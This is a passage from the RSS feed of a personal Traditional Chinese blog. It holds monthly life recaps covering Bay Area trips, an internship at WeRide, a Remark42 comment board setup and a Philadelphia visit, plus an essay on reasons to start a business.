<p>可以感覺有鑑於第四季收視表現不錯，然後第五季的期待被拉太高，編劇不得不安排一個大場面來作為大結局，但這個新的大反派在前四季從來沒有出現過，甚至在第五季的出場次數不多，跟 Walter 的交手也不夠多，導致這個突如其來的新反派反而顯的有點「不夠格」，私心覺得，如果是 Gus 來當這個最終的反派，和 Walter 正面交手，或許會更有張力。</p>
<p>製毒的出發點是為了在 Walter 離開之後讓他的家人在財務上沒有後顧之憂，然後到中後期才漸漸轉變成滿足他在這個過程所獲得的快感，就算說他最後也體認到這個微妙的變化，再怎麼說他所做的一切都還是為他的家人，不管是塞錢給 Flynn，還是回來把所有潛在的危險消除；然而在他回來後，Skyler 最終似乎還是沒有接受他，也沒有機會跟 Flynn 當面道別，和 Jesse 的夥伴關係也是在不明不白之中結束。</p>
<p>《絕命毒師》對我來說最悲劇的點，準確來說應該是 Walter White 的一切都是他的一廂情願，而他的一生也沒被任何人認同，甚至理解。</p>
</details>
<h2 id="-放假就是要出去玩ㄚ-ᕕ--ᐛ--ᕗ" class="relative group">🫨 放假就是要出去玩ㄚ ᕕ ( ᐛ ) ᕗ </h2><p>平常上班看了一個禮拜的螢幕，放假當然是要出去走走。</p>
<p>這個月在灣區跟也在這邊 Intern 的朋們去了好多地方：</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/mini-train-at-los-gatos.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/boardwalk.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Boardwalk 遊樂園"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">
  Los Gatos 有一條熱鬧的大街、好天氣、好喝的咖啡、好吃的冰淇淋、然後去公園裡坐<a href="https://maps.app.goo.gl/mmVrB8tTsc4Akoqi6" target="_blank" rel="noopener noreferrer">小火車</a>繞一圈
  <br/>
  Santa Cruz + Capitola 跟上面差不多，但把小火車換成可以衝浪的沙灘，再附贈一個<a href="https://maps.app.goo.gl/n4pbfG7k5Cp3cLys6" target="_blank" rel="noopener noreferrer">超大遊樂園</a>
</figcaption>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/capitola.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Capitola 的棕櫚樹大道"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Capitola 的棕櫚樹大道</figcaption>
</figure>
</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/cannery-row-at-monterey.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/me-and-hw-at-monterrey-aquarium.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">
  Monterey Bay + Carmel By the Sea 大名鼎鼎 (?) 的 macOS 12
  <br/>
  也跟上面也差不多，但把沙灘換成水族館
</figcaption>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/fishermans-wharf-with-friends.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="我和實習的朋友們在漁人碼頭"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/the-painted-ladies-with-friends.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">Alcatraz Island + San Francisco：登上惡魔島參觀島上的監獄</figcaption>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/panoramic-views-at-twin-peaks.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Twin Peaks 的全景圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">然後去附近的山頂上看風<br/><a href="https://maps.app.goo.gl/15zcGbrxt5nn16GK8" target="_blank" rel="noreferrer">Christmas Tree Point<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 可以 360° 環視整個舊金山市區</figcaption>
</figure>
</p>
<h2 id="-生活重心" class="relative group">🧭 生活重心 </h2><p>總結我前面提到我這個月的生活，我的日子差不多就是：</p>
<ul>
<li>週間
<ul>
<li>上班</li>
<li>下班回家
<ul>
<li>追劇</li>
<li>在網路上亂逛</li>
<li>做些沒意義的事</li>
</ul>
</li>
</ul>
</li>
<li>禮拜六
<ul>
<li>出去玩一天</li>
<li>回家累到直接躺平</li>
</ul>
</li>
<li>禮拜天
<ul>
<li>睡到中午</li>
<li>去咖啡廳隨便吃個早午餐</li>
<li>坐在電腦前面覺得有好多重要的事要做，不知道該先做啥</li>
<li>把那個好像有點重要的事情做個一半 (← 我現在在這)</li>
<li>乾，晚餐要吃什麼</li>
<li>回家洗衣服，回回訊息</li>
<li>更多沒意義的事</li>
</ul>
</li>
</ul>
<p>然後日復一日&hellip;</p>
<p>這應該不是我第一次抱怨日子過的太快，但上班的日子真的是太快了，快到甚至有點恐怖，恐怖在於——時間消逝的令人難以意識，像在開一台煞車失靈的車，然後隱形的 G8 小精靈還會不斷的把油門踩的更深，唯一的解決方法只有把方向盤握的更緊，然後祈禱不要出車禍。</p>
<p>我以前很難想像人為什麼人會有中年危機，因為要我相信一個人會要到 50 歲的時候才發現自己一事無成，不知道人生的方向，甚至不知道自己喜歡或不喜歡什麼，唯一合理的解釋只能是這人腦子從來沒上線過。但有了最近的體悟，不知不覺的畢業，不知不覺的找到工作，然後不知不覺的過完一生，似乎也不全然是一件奇怪的事。</p>
<p>於是我就開始好奇：跟以前的實習有什麼不同，是什麼產生了這樣的差別？</p>
<p>目前歸納的答案是&hellip;缺乏新鮮感</p>
<p>之前在 Intel 的日子說長不長，但我還是在短短一個暑假的時間認識了不少人，也是我第一次開始建立和思考 &ldquo;Career&rdquo; <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 這個概念，工作之餘，下班時間跟實驗室的咪挺也一直有新的東西在推展，所以會明顯感受到那段時光特別充實。倒也不是說現在在 WeRide 就沒有，而是能經歷的我似乎差不多都經歷過了，所以如果在工作上沒辦法獲得成就感或新鮮感，那就只能期待下班或假日能安排點點別的事來滿足了吧。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p>大概 75% 完成 (?)</p>
<h3 id="-兩篇額外的文章" class="relative group">🟡 兩篇額外的文章 </h3><p>《<a href="/zh-tw/posts/starting-a-business/">關於創業</a>》寫完了，整理了一下為什麼我覺得人人都應該 (或至少考慮) 創業的一點想法。另外一篇是想寫我對未來正職工作還有職涯的想像，但是當初這個大方向又沒有好好的把範圍縮小，結果越寫想法越多，導致這篇文至今仍然是一坨漿糊，難以成形。</p>
<p>但這對於我今年下半年蠻重要的，所以下個月的目標還是會有這一條。</p>
<h3 id="-留言板" class="relative group">✅ 留言板 </h3><p>開張大吉！</p>
<p>當時在考慮留言板的時候，我主要關注的有幾個重點：</p>
<ul>
<li>希望使用者可以在不用登入 (或是匿名) 的情況下留言
<ul>
<li>以我自己來說，需要登入這件事會讓我想留言的意願降低很多</li>
</ul>
</li>
<li>如果是第三方平台，那不可以拿我的留言去做別的事 (這就是為什麼我不想用 <a href="https://www.google.com/search?q=site%3Ahttps%3A%2F%2Fnews.ycombinator.com%2F&#43;Disqus" target="_blank" rel="noreferrer">Disqus<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>)</li>
</ul>
<p>經過<a href="https://github.com/tomy0000000/blog/issues/19" target="_blank" rel="noreferrer">層層的篩選<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，最後選定了 <a href="https://remark42.com/" target="_blank" rel="noreferrer">Remark42<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 這個留言板系統。除了符合我上面提到的需求，這套系統還有蠻多其他優點：</p>
<ul>
<li>是用 Golang 寫的，消耗的系統資源很少，流量不高的時候大概只佔用 20MB 左右的記憶體</li>
<li>底層資料庫使用的是 <a href="https://github.com/etcd-io/bbolt" target="_blank" rel="noreferrer">bbolt<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，是一種類似於 SQLite 但更高效的檔案格式，備份復原也很簡單</li>
<li>安裝很簡單，Docker Compose + 一個 <code>.env</code> 設定檔就搞定了</li>
<li>支援很多其他的登入方式，總比沒有好</li>
<li>支援深色模式，也會在部落格切換模式的時候跟著一起切換 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
</ul>
<p>我在設定的時候，原本想支援 Google + Facebook + Apple 三家的登入，應該可以涵蓋 95% 這個部落格受眾的使用習慣，但是 Facbook 把開發者條款改了，需要有商業認證才能申請接入他們的平台，然後 Apple 的登入則是 Remark 自己有一些小 bug 導致最後串不起來。所以即便我一開始不想支援 GitHub <del>這麼宅的</del>登入，作為替代方案最後還是把他加上去了。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>《What&rsquo;s on My Stack》：Dcard 網紅流行發 What&rsquo;s in My Room 文開箱自己的精緻套房，那理工宅男呢？當然就是寫一篇 What&rsquo;s on My Stack 開箱自己架的一堆工具和網站囉~</li>
<li>上面提到的<a href="#-%e5%85%a9%e7%af%87%e9%a1%8d%e5%a4%96%e7%9a%84%e6%96%87%e7%ab%a0">另一篇文章</a>：趁著寫這篇報報的時候，稍微重新定位了一下這篇文章到底適合哪些內容，哪些可以拿掉。希望重新出發可以更好的把思緒整理一下。</li>
<li>啟動找工作模式：雖然嘴上說好久了，但總是遲遲沒有動作，一方面是下班回家只想躺平，另一方面也是希望上面這篇可以先完成。(應該不會兩個最後都掰掰吧 QQQQ)</li>
</ol>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/1df6v9j/deleted_by_user/">[deleted by user]</a><br> by
<a href=""></a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>人類無意識的把人生的困難度調的高到難以扶養小孩</p>
<p>從而降低了人口爆炸的風險</p>
</blockquote>
<p>似乎挺有道理的 (?)，但如果這是真的，那這或許會是人類文明自工業革命以來最大的困境 🤔</p>
<hr>
<p>寫完才想到忘記寫《腦筋急轉彎 2》的心得了，可是這篇文好像有點太長了，那就算了吧哈哈哈哈哈哈</p>
<p>留言板在最下面，歡迎大家來許願、敲碗、或銳評 (X</p>
<p>下一集沒意外應該會有更多遊記 (?)，那就 下個月見！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>通常中文翻做「職涯」，但私心覺得這個中文詞沒辦法體現英文 &ldquo;Career&rdquo; 中更深遠的寓意&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>有人有發現這個部落格會自動偵測裝置的深色模式嗎 (?)&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-june-dump</guid><pubDate>Wed, 03 Jul 2024 10:38:55 -0700</pubDate></item><item><title>關於創業</title><link>https://blog.tomy.me/zh-tw/posts/starting-a-business/</link><description>談何容易，卻又是心有餘而力不足</description><content:encoded><![CDATA[

<p>故事的背景是這樣的：去年年底念完 CMU 第一個學期的時候，在新環境有很多靈感，再加上找工作不是很順利，因此萌生了一點創業的想法和感觸，於是隨手寫了一些想法。雖然現在回頭看明顯可以看到很多想法上的缺陷，但還是想把這段期間產生的想法轉化成文字，紀錄在這個時光膠囊 (?) 裡</p>
<h2 id="-環境面-風險" class="relative group">🌳 環境面 (風險) </h2><p>去年全球經濟還處在疫情後的高通膨、高失業率中，科技公司紛紛用裁員、撙節開支的方式來渡過資金緊縮的時期。首當其衝的當然也包括我們這群在美國準備找實習的學生，畢竟對公司來說，裁員還要承擔資遣費、媒體公關等壓力，不如先從對業務沒有直接貢獻又是零風險的實習生 Headcount 下手。</p>
<p>反正畢業找工作不容易，即便有工作，面臨經濟嚴峻能不能保住飯碗風險也是很高，那即便創業本身風險很高，但在這個時期反而相對的變的小很多。</p>
<h2 id="-事業面-失敗" class="relative group">👔 事業面 (失敗) </h2><p>以前會覺得創業就一定是高風險、高報酬，但其實退一步看，這些特性其實只存在於當下熱門的領域，比方說在 2024 年開一間 AI 新創；如果把視野打開一點，專注於小眾或是侷限領域的新創，其實也不在少數。對於這些公司來說，雖然發大財的機會微乎其微，但從另一個角度來說，如果能切合的滿足這一些少輸客戶的需求，雖然走的不會高，不會遠，但要失敗也沒那麼容易。</p>
<p>退一萬步來說，就算失敗了：</p>
<ul>
<li>重返就業市場時的條件還是有差異性，帶著創業失敗的種種經驗，應該會是大企業青睞的管理人才</li>
<li>創業失敗的負債也不過就是再多背一個房貸，背一個跟背兩個說實在其實沒什麼區別<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ul>
<h2 id="-財務面" class="relative group">💰 財務面 </h2><p>領死薪水是不會發大財的。</p>
<p>當然，這也取決於「發大財」的定義是什麼。如果發大財的定義是美國灣區買一間美金幾百萬的房子，那在 Nvidia 當 GPU 或是 AI 工程師 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，有高底薪加上成長無限的股票分紅，應該不會是什麼問題。</p>
<p>但這樣的財富依舊是有天花板的。就算公司的情勢大好，營收和利潤都在無限擴張，接下來的策略也一定是擴張，吸納更多的人才進來，然後拓展業務和領域，總不可能人事凍結然後把成長的利潤全部攤給現職員工，這樣太荒謬，短期會惹毛市場投資人導致股價大跌，長期會導致公司員工全部躺平，大家集體進入養老模式，然後帝國在 10 年之後被後起之秀一舉推翻<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>。</p>
<p>如果把發大財定義為：持有一架灣流噴射機、在羅德島有大別墅、casually 的在逛 Costco 的時候買遊艇、或是擁有某座加勒比海的私人小島。那對，領死薪水永遠不可能達到這樣的境界。</p>
<p>只有真正擁有自己的一番事業，而且業務能夠往上擴張的時候，才會有機會享有擴張時的所有紅利。</p>
<p>用演算法的複雜度來比喻，領薪水的風險頂多是 \(O(n)\) 報酬也許 \(O(n^2)\)；創業當老闆的風險也許是 \(O(n^2)\) 但是報酬可能有 \(O(2^n)\)。總結就是風險有限，前景無限<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<h2 id="-社會面" class="relative group">🏛️ 社會面 </h2><p>從社會的角度來說，一個國家有更多小企業，還是會遠比只有少數大企業來的更健全。短期來看，雖然大企業能夠更高效率的推進某些新技術或規格，但長期而言，這也會導致社會更加依賴於這些寡頭、缺乏創新，然後最終失去選擇，那也許打從一開始，這種效率的問題就應該留給市場競爭來解決，鼓勵創新才是永續活絡社會和經濟的好手段。</p>
<h2 id="-理想面" class="relative group">🌟 理想面 </h2><p>我覺得工作有兩種，一種是對社會有貢獻，一種是對人類文明有貢獻。不管是填飽了大家的肚子，或是為需要的人提供某些服務，絕大部分的工作對社會都有一定的貢獻。但是對人類文明有貢獻的，比方說推進了某項技術、永久改進人們生活方式、或者通俗的說：能夠「改變世界」的工作，並不多見。因為這種工作基本上都基於某種創新，而創新本身在沒有適當包裝的情況下，是很難獲利養家活口的。那如果去掉工作不說，一個人能「務實」的改變世界，大概也只能期待在對的時代，等待「時勢造英雄」的機會了吧。</p>
<p>所以反過來說，對大部分 (像我一樣) 的平庸之人，創業也許是一個人對人類文明能夠產生貢獻的少數方式，如果選對題目，也許你的產品或商業模式，會成為後世所欽嘆的遺產也說不定。</p>
<h2 id="結論" class="relative group">結論 </h2><p>奇怪為什麼寫的好像在發表什麼宣言還是準備 IPO 了一樣 (?)</p>
<p>在此澄清我沒有要創業 (至少目前還沒有)，雖然創業大佬總喜歡說：「創業永遠沒有準備好的時候」但我依舊覺得我現在的狀態是完全沒有準備，題目、夥伴、資金、心理準備，所有我現在想的到的東西，沒有一項是備齊的。</p>
<p>但我依舊對創業這個&hellip;目標 (?) 抱有理想，也許不是不到，只是未到。所以就當作先寫在這裡，推之後 (時機到了的時候) 的我一把，踏出那一步吧。</p>
<hr>
<p>掰了為，身為一個 I 人，我私心理想的創業模式是找一個 CEO 去處理所有對外的 bullshit，我技術阿宅只想對內專心搞技術和產品當 CTO。</p>
<p>感謝你看到這裡，如果你覺得你是那個 CEO 歡迎來找我喝 Tea Latte 聊聊天<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>不負責任的說，在美國這種充滿現金、貪婪、謊言和不負責任的國家，銀行哪在乎你死前有沒有把債還完&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>沒有要臭，只是舉個🌰：）&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>這裡絕對沒有在影射任何晶片公司&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>甚至可以拿去跟選擇權開槓桿 (?)&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>因為我不喝咖啡 嘻嘻&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">starting-a-business</guid><pubDate>Sun, 09 Jun 2024 01:58:42 -0700</pubDate></item><item><title>2024 年 5 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-may-dump/</link><description>暑假來ㄌ</description><content:encoded><![CDATA[<p>這個月前半段算是躺的挺平的，但還好寫這篇文的當下算是有找回一點生活的動力 😗</p>
<h2 id="-philly" class="relative group">🇺🇸 Philly </h2><p>此 Philly 非彼菲力 (x)</p>
<p>靠近學期尾聲的時候，我們幾個 MSE 的同學突然想在大家離開匹茲堡之前找個地方一起去玩。但是日期有點太靠近了，所以不管要飛哪裡都不會太便宜，所以僅存的選項大概就是開車或是坐火車到的了的地方。於是篩一篩之後，發現 Philly 是少數大部分人沒去過，但又稍微不那麼無聊的城市。</p>
<p>Philadelphia 簡稱 Philly，中文俗稱費城，但我更喜歡把他比喻為美國台中，主要有兩個原因。如果把台灣投影在美國的東北走廊 (Northeast Corridor)，費城就會落在 (差不多) 台中的位置：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-may-dump/northeast-corridor-map.jpg"
      class="mx-auto my-0 rounded-md"
      alt="台灣投影在美國東北走廊地圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Source: <a href="https://www.thetruesize.com/#?borders=1~!MTMxNDczOTY.MTI3NjY0NjM*MTA3OTkzNjY%28MTAwMTQzOTM~!TW*MTI3NjEwNTE.MTk0MDgxNDM%28MjA5%29Mw" target="_blank" rel="noreferrer">The True Size Of &hellip;<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></figcaption>
</figure>
</p>
<p>另外一個原因：費城的也是美國著名的慶記 &amp; 毒品之都，<a href="https://www.youtube.com/results?search_query=philadelphia&#43;street" target="_blank" rel="noreferrer">YouTube<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上有很多街頭訪問的影片。但那是比較靠北邊市郊的區域，跟我們去市中心和觀光景點的樣子差很多。所以其實也沒什麼好擔心的。</p>
<p>我在逛 Philly 的美術館的時候看到一個托特包，上面寫著：</p>
<blockquote>
<p>費城觀光行程：</p>
<ul>
<li><input disabled="" type="checkbox"> 吃東西</li>
<li><input disabled="" type="checkbox"> 逛美術館</li>
<li><input disabled="" type="checkbox"> 吃更多東西</li>
</ul>
</blockquote>
<p>嗯，跟我們實際的行程差不多。更確切的來說，跟我去每一個美國城市的行程都差不多。但我想某種程度上來說，也許每個國家的每個城市也許都會有類似的問題吧，所以好像也沒什麼好抱怨的。還是可以來介紹一些 Philly 獨有的東西。</p>
<h3 id="-cheesesteak" class="relative group">🧀🥩 Cheesesteak </h3><p>是一個名字有很多 e 還有很多 s 的食物 (←這什麼廢到笑的介紹</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-may-dump/cheesesteak.jpg"
      class="mx-auto my-0 rounded-md"
      alt="費城的 Cheesesteak"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">可以想像成 Subway 的牛肉潛艇堡，然後把蔬菜換成大量的起司，又油又肥<br/>建議搭配超大杯的可樂，保證血糖破表 👍🏻</figcaption>
</figure>
</p>
<h3 id="-liberty-bell" class="relative group">🔔 Liberty Bell </h3><p>上次去了美國首府，但其實美國建國的《獨立宣言》和《美國憲法》都是在費城簽署的，具體來說是在費城的舊州議會廳，也就是現在的美國獨立紀念館，但是進去要排超久的隊和超貴的門票，所以我們只去了對面的自由鐘紀念館。</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-may-dump/liberty-bell.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="自由鐘"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>反正就是一個鐘，以前會敲他來召集議員開會，二戰之後，各大美國民權運動中，經常會把以它作為一種精神象徵，也形塑出一種自由平等的意象，於是就被保存到現在了。</p>
<h2 id="-pycon-us-2024-" class="relative group">🐍 PyCon US 2024 🇺🇸 </h2><p>回匹茲堡休假一個禮拜之後，緊接的是 PyCon US 2024。PyCon 是 Python 程式語言的年度聚會，很多國家也都有舉辦，我之前也有參加過台灣和德國的。各國家的 PyCon 都是由一群使用者自發舉辦，美國的則是由 <abbr title="Python Software Foundation">PSF</abbr> 舉辦，大部分最先進的功能和 module 幾乎都會在美國發布。詳細的心得就放在另一篇<a href="/zh-tw/posts/pycon-us-2024/">心得文</a>啦</p>
<h2 id="-我們騎" class="relative group">🚙 我們騎！ </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-may-dump/we-ride.jpg"
      class="mx-auto my-0 rounded-md"
      alt="WeRide 大門"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>上禮拜飛來 San Jose，然後這禮拜二正式入職開始我的實習了！公司是一家做自駕車的中國新創，叫做 WeRide，<a href="https://www.1point3acres.com/" target="_blank" rel="noreferrer">地里<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>俗稱我們騎<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>。</p>
